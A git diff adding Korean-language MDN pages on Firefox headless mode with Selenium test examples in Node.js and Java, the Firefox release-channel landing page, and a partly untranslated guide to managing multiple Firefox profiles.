@@ -0,0 +1,204 @@
+---
+title: Headless mode
+slug: Mozilla/Firefox/Headless_mode
+tags:
+  - QA
+  - node.js
+  - 모질라
+  - 자동화
+  - 테스트
+  - 테스팅
+  - 헤드리스
+  - 헤드리스 모드
+translation_of: Mozilla/Firefox/Headless_mode
+---
+<p class="summary">Headless mode는 Firefox를 실행시키기 위한 유용한 방법입니다, 즉 UI컴포넌트가 보이지 않더라도 Firefox는 정상적으로 움직인다는 것입니다. 웹서핑하기에는 불편할 지라도 테스트를 자동화하기에는 매우 유용합니다. 이 글은 Headless Firefox 실행을 위해 알아야할 모든 것을 제공합니다.</p>
+
+<h2 id="headless_mode를_사용하기">headless mode를 사용하기</h2>
+
+<p><code>-headless</code> flag를 붙이는 것만으로 코맨드라인에서 headless mode를 실행할 수 있습니다.</p>
+
+<pre class="brush: bash">/path/to/firefox -headless</pre>
+
+<p>지금은 심플하게 되어있습니다만 앞으로 옵션을 추가할 예정입니다. </p>
+
+<p>하나의 예를 들자면, headless Firefox를 이용해서 간단하게 스크린샷을 찍을 수 있는 <code>-screenshot</code> 옵션을 작업하고 있습니다.  현재 진행사항은 여기서 {{bug(1378010)}} 볼 수 있습니다.</p>
+
+<h3 id="Browser_support">Browser support</h3>
+
+<p>Headless Firefox는 리눅스에서는 Firefox55이상, 윈도우즈와 맥에서는 Firefox56이상의 버전에서 지원하고 있습니다.</p>
+
+<h2 id="headless_mode를_이용한_테스트_자동화">headless mode를 이용한 테스트 자동화</h2>
+
+<p>headless Firefox를 이용하는 가장 유용한 방법은 자동화된 테스트와 함께 이용하는 것입니다. 즉,테스트의 과정을 더욱 더 효율적으로 만들어 낼 수 있다는 것입니다. </p>
+
+<h3 id="Selenium_in_Node.js">Selenium in Node.js</h3>
+
+<p>여기서는 <a href="https://nodejs.org/">Node.js</a> 와 <code><a href="https://www.npmjs.com/package/selenium-webdriver">selenium-webdriver</a></code> 패키지를 이용해서 <a href="http://www.seleniumhq.org/">Selenium</a>테스트를 만들어 볼 것입니다. 이 가이드는 Selenium, Webdriver 그리고 Node에 대한 기본적인 지식과 테스팅 환경 설정이 완료되어 있다는 가정하에 쓰여져 있습니다. 그렇지 않다면 <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment#Setting_up_Selenium_in_Node">Setting up Selenium in Node</a> 를 먼저 보시고 난 후에 본 가이드를 이용하실 것을 권장합니다.</p>
+
+<p>먼저 Node와 <code>selenium-webdriver</code>패키지가 설치되어 있는지 확인합니다. 그리고 <code>selenium-test.js</code>라는 파일을 만들어서 불러옵니다. 그런 후 아래의 내용을 단계별로 진행합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 다른 방법으로는 <a href="https://github.com/mdn/headless-examples">headless-examples repo</a>;가 이용 가능합니다.<br>
+ <code>npm install</code>을 이용하는 것만으로 필요한 라이브러리를 설치해 포함시킬수 있습니다.</p>
+</div>
+
+<ol>
+ <li>
+  <p><code>selenium-webdriver</code> module과 <code>firefox</code> submodule을 불러오는 로직을 추가합니다.</p>
+
+  <pre class="brush: js">var webdriver = require('selenium-webdriver'),
+    By = webdriver.By,
+    until = webdriver.until;
+
+var firefox = require('selenium-webdriver/firefox');</pre>
+ </li>
+ <li>
+  <p>다음으로, Firefox Nightly를 설정한 <code>binary</code> objecet를 작성합니다. 그리고 argument를 <code>-headless</code>로 해서 추가하면 headless mode를 실행시키기 위한 준비가 완료됩니다. </p>
+
+  <pre class="brush: js">var binary = new firefox.Binary(firefox.Channel.NIGHTLY);
+binary.addArguments("-headless");</pre>
+ </li>
+ <li>
+  <p>Firefox용으로 웹드라이버 인스탄스를 작성합니다. 그리고 <code>setFirefoxOptions()</code> 를 이용해서 작성해둔 바이너리를 설정합니다. ( 이 작업은 리눅스와 윈도우즈와 맥에서 headless mode가 릴리즈 되면 불필요합니다. 하지만 Nightly-specific feature에서 테스트하기를 원한다면 유용합니다 )</p>
+
+  <pre class="brush: js">var driver = new webdriver.Builder()
+    .forBrowser('firefox')
+    .setFirefoxOptions(new firefox.Options().setBinary(binary))
+    .build();</pre>
+ </li>
+ <li>
+  <p>구글 검색페이지를 이용하는 간단한 테스트를 수행하는 코드를 추가합니다.</p>
+
+  <pre class="brush: js">driver.get('https://www.google.com');
+driver.findElement(By.name('q')).sendKeys('webdriver');
+
+driver.sleep(1000).then(function() {
+  driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB);
+});
+
+driver.findElement(By.name('btnK')).click();
+
+driver.sleep(2000).then(function() {
+  driver.getTitle().then(function(title) {
+    if(title === 'webdriver - Google Search') {
+      console.log('Test passed');
+    } else {
+      console.log('Test failed');
+    }
+  });
+});
+
+driver.quit();</pre>
+ </li>
+ <li>
+  <p>마지막으로 아래의 명령어와 함께 테스트를 실행해주세요.</p>
+
+  <pre class="brush: bash">node selenium-test</pre>
+ </li>
+</ol>
+
+<p>몇 초 후 콘솔에서 "Test passed"를 보게될 겁니다.  이게 다입니다! </p>
+
+<p>headless mode를 이용한 Node.js Selenium tests에 관한 유용한 팁이나 트릭은 이 글 (<a href="https://mykzilla.org/2017/08/30/headless-firefox-in-node-js-with-selenium-webdriver/">Headless Firefox in Node.js with selenium-webdriver</a> by Myk Melez) 을 참고해주세요.</p>
+
+<h3 id="Selenium_in_Java">Selenium in Java</h3>
+
+<div class="note">
+<p><strong>Note</strong>: Thanks a lot to nicholasdipiazza for writing these instructions!</p>
+</div>
+
+<p> Gradle projects를 지원하는 IDE를 사용하고 있고 <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment#Setting_up_Selenium_in_Node">Setting up Selenium in Node</a> 가이드에 설명되어진대로 Geckodriver가 설치되어져 있다는 가정하에 쓰여져 있습니다.</p>
+
+<ol>
+ <li>
+  <p><a href="https://github.com/mdn/headless-examples/blob/master/headlessfirefox-gradle.zip">headlessfirefox-gradle.zip</a> 를 다운로드합니다. (<a href="https://github.com/mdn/headless-examples/tree/master/headlessfirefox-gradle">see the source here</a>), 압축을 풉니다, 그리고 headlessfirefox폴더를 IED에 gradle project로 Import합니다.</p>
+ </li>
+ <li>
+  <p><code>build.gradle파일에 </code>selenium을 설정합니다. 필요에 따라 다른 버전을 이용하셔도 상관없습니다. 이번 글에서는 3.5.3을 이용합니다.<code> </code></p>
+
+  <pre class="brush: java">group 'com.mozilla'
+version '1.0'
+
+apply plugin: 'java'
+
+sourceCompatibility = 1.8
+
+repositories {
+   mavenCentral()
+}
+
+dependencies {
+   compile('org.seleniumhq.selenium:selenium-api:3.5.3')
+   compile('org.seleniumhq.selenium:selenium-remote-driver:3.5.3')
+   compile('org.seleniumhq.selenium:selenium-server:3.5.3')
+
+   testCompile group: 'junit', name: 'junit', version: '4.12'
+}</pre>
+ </li>
+ <li>
+  <p>geckodriver를 설치한 경로와 같은 곳에 있는 HeadlessFirefoxSeleniumExample.java 파일에서 <code>webdriver.gecko.driver</code> property를 수정합니다. (see line 15 below).</p>
+
+  <pre class="brush: java">package com.mozilla.example;
+
+import org.openqa.selenium.By;
+import org.openqa.selenium.WebElement;
+import org.openqa.selenium.firefox.FirefoxBinary;
+import org.openqa.selenium.firefox.FirefoxDriver;
+import org.openqa.selenium.firefox.FirefoxOptions;
+
+import java.util.concurrent.TimeUnit;
+
+public class HeadlessFirefoxSeleniumExample {
+ public static void main(String [] args) {
+   FirefoxBinary firefoxBinary = new FirefoxBinary();
+   firefoxBinary.addCommandLineOptions("--headless");
+   System.setProperty("webdriver.gecko.driver", "/opt/geckodriver");
+   FirefoxOptions firefoxOptions = new FirefoxOptions();
+   firefoxOptions.setBinary(firefoxBinary);
+   FirefoxDriver driver = new FirefoxDriver(firefoxOptions);
+   try {
+     driver.get("http://www.google.com");
+     driver.manage().timeouts().implicitlyWait(4,
+         TimeUnit.SECONDS);
+     WebElement queryBox = driver.findElement(By.name("q"));
+     queryBox.sendKeys("headless firefox");
+     WebElement searchBtn = driver.findElement(By.name("btnK"));
+     searchBtn.click();
+     WebElement iresDiv = driver.findElement(By.id("ires"));
+     iresDiv.findElements(By.tagName("a")).get(0).click();
+     System.out.println(driver.getPageSource());
+   } finally {
+     driver.quit();
+   }
+ }
+}</pre>
+ </li>
+ <li>
+  <p>자바 클래스를 실행시킵니다. 그러면 컨솔 또는 터미널에 출력된 HTML컨텐츠를 확인할 수 있습니다.</p>
+ </li>
+</ol>
+
+<h3 id="(headless_Firefox를_지원하는)_다른_테스팅_솔루션">(headless Firefox를 지원하는) 다른 테스팅 솔루션</h3>
+
+<p>Slimerjs는 리눅스에서 Firefox를 지원합니다. 윈도우즈와 맥은 지원 예정입니다. 상세한 내용은 이 글 ( <a href="https://adriftwith.me/coding/2017/04/21/headless-slimerjs-with-firefox/">Headless SlimerJS with Firefox</a> by Brendan Dahl) 을 참고해주세요.</p>
+
+<p>그 외에 환경변수가 설정가능하다면 거의 모든 일반적인 테스팅 어플리케이션에서 쓰여진 자동화된 테스트에서 headless Firefox를 이용할 수 있습니다. </p>
+
+<h2 id="트러블슈팅과_상세_지원에_관해">트러블슈팅과 상세 지원에 관해</h2>
+
+<p>headless mode를 이용중에 문제가 발생했을 경우에는 걱정하시지 말고 이 섹션을 찾아주세요.  이 섹션은 질문이 더 생기거나 답을 찾았을 경우에 내용을 추가 할 수 있도록 설계되어있습니다.</p>
+
+<ul>
+ <li>현재 리눅스에서 사용하고 있는 시스템 안에서 headless mode가 쓰이지 않더라도  특정 라이브러리를 필요로 합니다. — 왜냐하면 Firefox에서 사용하고 있기 때문입니다. 상세한 내용과 진행상황은 여기를 {{bug(1372998)}} 참고해주세요.</li>
+</ul>
+
+<p>엔지니어에게 질문이 있다면 <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>의 <code>#headless 채널이 최고의 장소입니다.</code> 그리고 버그를 확실하게 발견하셨다면 <a href="https://bugzilla.mozilla.org/">Mozilla Bugzilla</a>에서 내용을 알려주세요. </p>
+
+<h2 id="관련_글">관련 글</h2>
+
+<ul>
+ <li><a href="https://intoli.com/blog/running-selenium-with-headless-firefox/">Using Selenium with Headless Firefox (on Windows)</a> by Andre Perunicic (uses Python)</li>
+ <li><a href="https://mykzilla.org/2017/08/30/headless-firefox-in-node-js-with-selenium-webdriver/">Headless Firefox in Node.js with selenium-webdriver</a> by Myk Melez</li>
+ <li><a href="https://adriftwith.me/coding/2017/04/21/headless-slimerjs-with-firefox/">Headless SlimerJS with Firefox</a> by Brendan Dahl</li>
+</ul>
diff --git a/files/ko/mozilla/firefox/index.html b/files/ko/mozilla/firefox/index.html
new file mode 100644
index 0000000000..43a1fb77d1
--- /dev/null
+++ b/files/ko/mozilla/firefox/index.html
@@ -0,0 +1,76 @@
+---
+title: Firefox
+slug: Mozilla/Firefox
+tags:
+  - Firefox
+  - Landing
+  - Mozilla
+  - 모질라
+  - 파이어폭스
+translation_of: Mozilla/Firefox
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p><a href="https://www.mozilla.org/firefox/">Firefox</a>는 모질라 재단의 유명한 웹브라우저로서 윈도우, OS X, 리눅스, 솔라리스(비공식), 안드로이드 기기 등의 다양한 플랫폼을 지원합니다. 호환성과 최신 웹기술, 그리고 강력한 개발 도구로서 Firefox는 웹 개발자들과 사용자들에겐 최고의 선택입니다.</p>
+
+<p>Firefox는 오픈소스 프로젝트이기 때문에 대부분의 코드가 커뮤니티의 봉사자들에 의해 작성됩니다. 여기서 당신은 Firefox 프로젝트에 어떻게 봉사하는지 배우거나 Firefox 애드온이나 개발툴의 사용법 또는 다른 것에 대한 정보를 얻을 수 있습니다.</p>
+
+<p><span class="seoSummary"><a class="external external-icon" href="https://www.mozilla.org/firefox/">Firefox</a>를 위한 애드온을 어떻게 만드는 지, 어떻게 파이어폭스를 스스로 빌드하고 개발하는 지, Firefox와 그 하위 프로젝트들이 어떻게 이루어 지는 지 알아보세요.</span></p>
+
+<ul class="card-grid" style="padding-bottom: 25px; padding-left: 40px;">
+ <li style="margin-top: 3px; margin-right: 12px; margin-left: 12px; display: table-cell; position: relative; vertical-align: top; width: 200px; word-wrap: break-word; min-height: 130px; background-clip: padding-box;"><span style="display: block; font-family: open sans light,arial,helvetica,sans-serif; font-size: 22px; font-weight: normal; letter-spacing: -1px; line-height: 22px; margin-bottom: 12px;">개발자 릴리즈노트</span>
+
+  <p><a href="https://developer.mozilla.org/en-US/Firefox/Releases">개발자를 위한 릴리즈 노트 읽기</a> 어떤 기능이나 애드온이 파이어폭스에 추가되었는지, 웹사이트에 대한 지원이 어떻게 바뀌었는지 알아보세요.</p>
+ </li>
+ <li style="margin-top: 3px; margin-right: 12px; margin-left: 12px; display: table-cell; position: relative; vertical-align: top; width: 200px; word-wrap: break-word; min-height: 130px; background-clip: padding-box;"><span style="display: block; font-family: open sans light,arial,helvetica,sans-serif; font-size: 22px; font-weight: normal; letter-spacing: -1px; line-height: 22px; margin-bottom: 12px;">프로젝트 문서</span>
+  <p><a href="https://developer.mozilla.org/en-US/docs/Mozilla">Firefox의 내부 구성물</a> 에서 더 자세한 정보를 알아보세요. 그 다음에는 빌드시스템에 대한 정보를 알아내어 코드를 어떻게 작성할 지 알아보세요.</p>
+ </li>
+ <li style="margin-top: 3px; margin-right: 12px; margin-left: 12px; display: table-cell; position: relative; vertical-align: top; width: 200px; word-wrap: break-word; min-height: 130px; background-clip: padding-box;"><span style="display: block; font-family: open sans light,arial,helvetica,sans-serif; font-size: 22px; font-weight: normal; letter-spacing: -1px; line-height: 22px; margin-bottom: 12px;">개발자 가이드</span>
+  <p><a href="https://developer.mozilla.org/en-US/docs/Developer_Guide">개발자 가이드</a>는 어떻게 파이어폭스 소스코드를 얻고 컴파일 하는지에 대한 가이드를 제공합니다. 또한 이를 통해 어떻게 프로젝트에 기여하는 지 알 수 있습니다<strong>.</strong></p>
+ </li>
+</ul>
+
+<h2 id="Firefox_채널">Firefox 채널</h2>
+
+<p>Firefox는 네 가지 <strong>채널</strong>로 이루어져 있습니다.</p>
+
+<h3 id="Firefox_Nightly">Firefox Nightly</h3>
+
+<p>우리는 매일 밤마다 <a href="/ko/docs/mozilla-central">mozilla-central</a>  저장소의 최신 코드를 기반으로 파이어폭스를 빌드합니다. 이 빌드들은 파이어폭스 개발자들이나 새로운 기능을 미리 체험해보고 싶은 사람들에게 제공되며 언제나 활성화된 개발환경에서 개발될 것입니다.</p>
+
+<p><a class="external external-icon" href="https://nightly.mozilla.org/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Firefox Nightly 내려받기</a></p>
+
+<h3 id="Firefox_개발자_에디션">Firefox 개발자 에디션</h3>
+
+<p>이 버전은 오직 개발자들을 위해 만들어진 파이어폭스입니다. 6주마다, 저희는 Firefox Nightly에서 안정화된 기능을 파이어폭스 개발자 에디션에 넣어 빌드합니다. 저희는 또한 몇가지 개발자들만을 위한 이 에디션에서만 사용할 수 있는 기능을 추가합니다.</p>
+
+<p><a href="/ko/docs/Firefox/Developer_Edition">파이어폭스 개발자 에디션에 대하여 더 자세히 알아보기</a></p>
+
+
+
+<h3 id="Firefox_Beta">Firefox Beta</h3>
+
+<p>Firefox 개발자 에디션이 출시된지 6주가 지난 후, 저희는 충분히 안정적인 기능들을 넣고, 새 버전의 Firefox Beta를 빌드합니다. Firefox 베타 빌드는 Firefox의 다음버전을 미리 보고 싶은 얼리어답터에게 적합합니다.</p>
+
+<p><a class="external external-icon" href="https://www.mozilla.org/firefox/channel/#beta" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Firefox Beta 내려받기</a></p>
+
+<h3 id="Firefox">Firefox</h3>
+
+<p>Beta 버전에서의 6주가 지나고, 우리는 새 기능을 1억명 이상의 사용자들에게 새 버전에 담아 선보입니다.</p>
+
+<p><a class="external external-icon" href="https://www.mozilla.org/firefox/channel/#firefox" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">파이어폭스 내려받기</a></p>
+
+<h2 id="콘텐츠">콘텐츠</h2>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<h2 id="파이어폭스_프로파일">파이어폭스 프로파일</h2>
+
+<p>만일 당신이 규칙적으로 다양한 파이어폭스의 채널들을 같이 사용하고 있거나 다양한 설정을 같이 사용하고 있다면 당신은 사전에 파이어 폭스의 프로필 매니저나 다른 프로필 관리 도구를 이용하여 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Multiple_profiles">멀티 파이어폭스 프로파일 사용하기</a> 를 읽으셔야 합니다.</p>
+
+<h2 id="바깥_고리">바깥 고리</h2>
+
+<ul>
+ <li><a class="external external-icon" href="https://mail.mozilla.org/listinfo/firefox-dev">Mailing list</a></li>
+ <li><a class="external external-icon" href="https://wiki.mozilla.org/Release_Management/Calendar">Release schedule</a></li>
+</ul>
diff --git a/files/ko/mozilla/firefox/multiple_profiles/index.html b/files/ko/mozilla/firefox/multiple_profiles/index.html
new file mode 100644
index 0000000000..ebf8e4adb3
--- /dev/null
+++ b/files/ko/mozilla/firefox/multiple_profiles/index.html
@@ -0,0 +1,242 @@
+---
+title: 여러 개의 Firefox 프로파일
+slug: Mozilla/Firefox/Multiple_profiles
+translation_of: Mozilla/Firefox/Multiple_profiles
+---
+<p class="summary">A profile in Firefox is the collection of settings, customizations, add-ons, and other personalizations that a user has made or installed into their copy of Firefox. You can find <a href="https://support.mozilla.org/kb/Profiles">details about profiles</a> on Mozilla's end-user support site.</p>
+
+<h2 id="여러_개의_프로파일이_필요한_이유">여러 개의 프로파일이 필요한 이유</h2>
+
+<p>The casual user may want to have different profiles for different family members. Having different profiles would allow each person to have his or her own set of bookmarks, settings, and add-ons.</p>
+
+<p>Web developers might want a secondary profile for testing websites, apps, or other projects on different Firefox channels. For example, you might want to have the Firebug add-on installed for Web development, but not for general-purpose Web browsing. While using the Nightly channel, you may encounter some add-ons that have become temporarily incompatible with new API changes, until the add-on developer has a chance to update them. You can remove such add-ons from your profile for Nightly use while keeping them for use with other profiles.</p>
+
+<p>For QA, testing, and bug triaging contributors, you may want to have multiple development versions of Firefox installed, each with its own profile. Creating new profiles for testing can keep you from losing your preferences, bookmarks, and history. It takes little time to set up a new profile, and once it is complete, all of your Firefox versions will update separately and can be run simultaneously.</p>
+
+<h2 id="가능한_브라우저_개발_채널">가능한 브라우저 개발 채널</h2>
+
+<p>There are four available browser channels, each at a different level of stability and development. The four channels are <a class="link-https" href="https://www.mozilla.org/firefox/new/" title="Firefox Stable">Release</a>, <a class="link-https" href="https://www.mozilla.org/firefox/beta/" title="Firefox Beta">Beta</a>, <a href="https://www.mozilla.org/firefox/aurora/">Developer Edition</a>, and <a class="external" href="https://nightly.mozilla.org/" title="Firefox Nightly">Nightly</a>. The Release channel is recommended for most users, as it is the "official release" channel. However, for those more adventurous, you can try one of the other three channels to see what is coming in Firefox and play around with emerging features. The Beta channel contains the features that are expected to be in the next release of Firefox and are in final stages of testing. Aurora contains experimental features, which are not yet at beta quality. Nightly contains the latest code from Firefox developers and is the least stable channel.</p>
+
+<h2 id="써드파티_도구">써드파티 도구</h2>
+
+<p>In addition to the built-in Profile Manager and the external Profile Manager, there are a few third-party tools that make working with multiple profiles easy.</p>
+
+<div class="note">
+<p>This list is by no means exhaustive. Please add any helpful tools you discover to the list!</p>
+</div>
+
+<h3 id="크로스플랫폼">크로스플랫폼</h3>
+
+<ul>
+ <li><a href="https://addons.mozilla.org/en-US/firefox/addon/profileswitcher/?src=ss">ProfileSwitcher</a> by Paolo "Kaosmos". It adds some options to launch easily other profiles and the Profile Manager.</li>
+ <li><a href="https://addons.mozilla.org/en-US/firefox/addon/profilist/">Profilist</a> by Noitidart. Adds an easy to access profile manager to the Firefox "hamburger" menu.</li>
+</ul>
+
+<h3 id="Mac_OS_X">Mac OS X</h3>
+
+<ul>
+ <li><a href="http://davemartorana.com/multifirefox/">Multifirefox</a> by Dave Martorana</li>
+</ul>
+
+<h2 id="프로파일_관리">프로파일 관리</h2>
+
+<h3 id="Firefox가_실행되는_동안_프로파일_결정">Firefox가 실행되는 동안 프로파일 결정</h3>
+
+<p>To determine the profile of a currently-running Firefox instance in Windows, macOS or Linux,</p>
+
+<ol>
+ <li>Click in the menu: <em>Help</em> &gt; <em>Troubleshooting Information</em>.  A new tab will open.</li>
+ <li>In the section <em>Application Basics</em>, find <em>Profile Folder</em>.</li>
+ <li>Click the button <em>Show Folder,</em> <em>Show Directory</em>, or <em>Show in Finder</em>.  A native file browser window will open.</li>
+ <li>
+  <p>Look at the name of the folder being displayed.  It will be some random characters, followed by a dot/period, followed by the current profile name.  For example, if the folder name is <code>r99d1z7c.default</code>, you are running in a profile named <em>default</em>, which is probably the first profile that was automatically created when Firefox was installed.  If the folder name is <code>b5gkn7wd.Suzie</code>, you are running in a profile named <em>Suzie</em>. </p>
+ </li>
+</ol>
+
+<h3 id="특정_프로파일로_Firefox_실행">특정 프로파일로 Firefox 실행</h3>
+
+<p id="You_cannot_change_the_profile_while_Firefox_is_running._Although_it_is_possible_in_some_cases_to_have_multiple_instances_of_Firefox_running_in_different_profiles_to_avoid_confusion_you_should_first_exitquitterminate_all_running_instances_of_Firefox_FirefoxDeveloperEdition_or_Nightly._Then_follow_the_instructions_below_applicable_to_your_operating_system."><strong>You cannot change the profile while Firefox is running.</strong>  Although it is possible in some cases to have multiple instances of Firefox running in different profiles, to avoid confusion, you should first exit/quit/terminate all running instances of <em>Firefox</em>, <em>FirefoxDeveloperEdition</em> or <em>Nightly</em>.  Then follow the instructions below, applicable to your operating system.</p>
+
+<h4 id="윈도우">윈도우</h4>
+
+<h5 id="Windows_XP">Windows XP</h5>
+
+<ol>
+ <li>Click the Start button.</li>
+ <li>Click "Run".</li>
+ <li>Type "firefox -ProfileManager".</li>
+</ol>
+
+<h5 id="Windows_Vista7">Windows Vista/7</h5>
+
+<ol>
+ <li>Click the Start button.</li>
+ <li>Click the search bar at the bottom.</li>
+ <li>Type "firefox -ProfileManager".</li>
+</ol>
+
+<h5 id="Windows_88.1">Windows 8/8.1</h5>
+
+<ol>
+ <li>Press "Windows + R" on your keyboard.</li>
+ <li>Type <code>firefox -ProfileManager</code>.</li>
+</ol>
+
+<p>If the Profile Manager window does not open, Firefox may have been running in the background, even though it was not visible. Close all instances of Firefox, or restart the computer, and then try again.</p>
+
+<h4 id="리눅스">리눅스</h4>
+
+<p>If Firefox is already included in your Linux distribution, or if you have installed Firefox with the package manager of your Linux distribution:</p>
+
+<ol>
+ <li>At the top of the Firefox window, click on the File menu and select Quit.</li>
+ <li>In Terminal run <code>firefox --ProfileManager</code></li>
+</ol>
+
+<p>If the Profile Manager window does not open, Firefox may have been running in the background, even though it was not visible. Close all instances of Firefox, or restart the computer and then try again.</p>
+
+<h4 id="macOS">macOS</h4>
+
+<ol>
+ <li>Run the <em>Terminal</em> application, which is found in Applications/Utilities.</li>
+ <li>Type or paste in the path to Firefox, followed by <code>.app/Contents/MacOS/firefox</code>.  For example, if Firefox is installed in the recommended location, you would enter <code>/Applications/Firefox.app/Contents/MacOS/firefox</code>.</li>
+ <li>If you have the path to your desired profile handy, enter a space character, followed by <code>-profile</code> followed by another space character, followed by the full path to the profile folder you wish to launch into.  This will launch Firefox immediately.  Otherwise, enter a space character followed by <code>--profilemanager</code>.  This will present the Profile Manager window in which you can make your selection.</li>
+ <li>Hit <em>return.</em></li>
+</ol>
+
+<p>Here is a complete example Terminal command from steps 2-3:</p>
+
+<pre>/Applications/Firefox.app/Contents/macOS/firefox -profile /Users/Suzie/Library/Application\ Support/Firefox/Profiles/r99d1z7c.default</pre>
+
+<p>If you want to do this frequently and more easily, you may wish to create an <em>Automator</em> application, as explained in <a href="http://sonnygill.net/mac/mac-multiple-firefox-profiles/">this tutorial</a>.</p>
+
+<h3 id="프로파일_생성하기">프로파일 생성하기</h3>
+
+<h4 id="프로파일_매니저로_프로파일_만들기">프로파일 매니저로 프로파일 만들기</h4>
+
+<p>These instructions should be the same for all operating systems.</p>
+
+<ol>
+ <li>To start the Create Profile Wizard, click "Create Profile..." in the Profile Manager.</li>
+ <li>Click Next and enter the name of the profile. Use a profile name that is descriptive, such as your personal name. This name is not exposed to the Internet.</li>
+ <li>You can also choose where to store the profile on your computer. To select storage location, click Choose Folder....</li>
+ <li>If you choose your folder location for the profile, select a new or empty folder. If you choose a folder that isn't empty, and you later remove the profile and choose the \"Delete Files\" option, everything inside that folder will be deleted.</li>
+ <li>To create the new profile, click Finish.</li>
+</ol>
+
+<h4 id="Firefox_브라우저로_프로파일_만들기">Firefox 브라우저로 프로파일 만들기</h4>
+
+<p>You can create a new Firefox profile directly from the browser.</p>
+
+<ol>
+ <li>Type about:profiles into the browser URL search bar</li>
+ <li>On the page, click Create a New Profile button</li>
+ <li>Read the introduction, and click Next</li>
+ <li>Enter a profile name for your new Profile. Use a profile name that is descriptive, such as your personal name. This name is not exposed to the Internet.</li>
+ <li>Optionally, to change where the profile will be stored on your computer, click Choose Folder...</li>
+ <li>To create the new profile, click Finish.</li>
+</ol>
+
+<h3 id="프로파일_삭제하기">프로파일 삭제하기</h3>
+
+<ol>
+ <li>In the Profile Manager, select the profile to remove, and click Delete Profile....</li>
+ <li>Confirm that you wish to delete the profile:
+  <ul>
+   <li>Don't Delete Files removes the profile from the Profile Manager yet retains the profile data files on your computer in the storage folder so that your information is not lost. "Don't Delete Files" is the preferred option, because it saves the old profile's folder, allowing you to recover the files to a new profile.</li>
+   <li>Delete Files removes the profile and its files, including the profile bookmarks, settings, passwords, etc.<br>
+    <br>
+    {{ warning("If you use the \"Delete Files\" option, the profile folder, and files will be deleted. This action cannot be undone.") }}</li>
+   <li>Cancel interrupts the profile deletion.</li>
+  </ul>
+ </li>
+</ol>
+
+<h3 id="프로파일의_이름_바꾸기">프로파일의 이름 바꾸기</h3>
+
+<ol>
+ <li>In the Profile Manager, select the profile you want to rename, and then click "Rename Profile".</li>
+ <li>Enter a new name for the profile and click on OK.</li>
+</ol>
+
+<div class="note">
+<p>Note: The folder containing the files for the profile is not renamed.</p>
+</div>
+
+<h2 id="옵션">옵션</h2>
+
+<h3 id="오프라인_작업">오프라인 작업</h3>
+
+<p>Choosing this option loads the selected profile, and starts Firefox offline. You can view previously viewed web pages, and experiment with your profile.</p>
+
+<h3 id="시작시_묻지_않기">시작시 묻지 않기</h3>
+
+<p>If you have multiple profiles, Firefox prompts you for the profile to use each time you start Firefox. Select this option to allow Firefox to load the selected profile, without prompting at startup.</p>
+
+<div class="note">
+<p>Note: To access other profiles after selecting this option, you must start the Profile Manager first.</p>
+</div>
+
+<h2 id="프로파일_사용하기">프로파일 사용하기</h2>
+
+<h3 id="Windows">Windows</h3>
+
+<p>If you want to have the profile manager to pop up each time you start Firefox, so you can choose a profile, you will need to edit the "Target" of the launch icon. To do this:</p>
+
+<ol>
+ <li>Right-click the icon and choose "Properties".</li>
+ <li>When the properties dialog box pops up, you should see a "Target" text field that you can edit, and it should show the current file path.</li>
+ <li>After the closing quote, add <code>-ProfileManager</code>.</li>
+ <li>Click Ok.</li>
+</ol>
+
+<p>Now whenever you double click that icon, the profile manager should appear, allowing you to choose which profile you'd like to use.</p>
+
+<p>If you want individual icons to launch specific profiles, you will need to edit the "Target" of each icon. To do this:</p>
+
+<ol>
+ <li>Right-click the icon and choose "Properties".</li>
+ <li>When the properties dialog box pops up, you should see a "Target" text field that you can edit, and it should show the current file path.</li>
+ <li>To permanently set a specific profile, <code>add -p PROFILE_NAME</code> to the target path, but outside of the quotes, replacing "PROFILE_NAME" with the actual profile name you chose.</li>
+ <li>If you would also like to allow multiple instances of Firefox to run at the same time, add <code>-no-remote</code> after the profile name.</li>
+</ol>
+
+<p>Once you are all done, click Ok. Do this for each icon you'd like to have a specific profile for. Once done, each one should automatically start with the specified profile<code>.</code></p>
+
+<h3 id="리눅스_2">리눅스</h3>
+
+<p>There is no extremely straightforward way to create custom application launchers in Gnome 3 like there was in Gnome 2. The following tutorial will help get you going overall: <a class="external" href="https://blog.randell.ph/how-to-create-custom-application-launchers-in-gnome-3/" title="How to create custom application launchers in gnome 3">Gnome 3 Custom application launcher</a>. Once you get to the point of adding a new item, you can have the profile dialog show up every time or set the launcher to launch a specific profile.</p>
+
+<p>If you want to have the profile manager to pop up each time you start Firefox, so you can choose a profile, you will need to set the command line for your new launcher.</p>
+
+<ol>
+ <li>Set the "command" text field to target the executable file, likely "/usr/bin/firefox", and add the <code>-p</code> parameter.</li>
+</ol>
+
+<p>If you want individual icons to launch specific profiles, you will need to set the command line for your new launcher. To do this:</p>
+
+<ol>
+ <li>Set the "command" text field to target the executable file, likely "/usr/bin/firefox", and add the <code>-p PROFILE_NAME</code> parameter, replacing "PROFILE_NAME" with the specific profile.</li>
+ <li>Repeat as necessary, for each additional profile you want to set.</li>
+ <li>If you would also like to allow multiple instances of Firefox to run at the same time, add "-no-remote" after the profile name.</li>
+</ol>
+
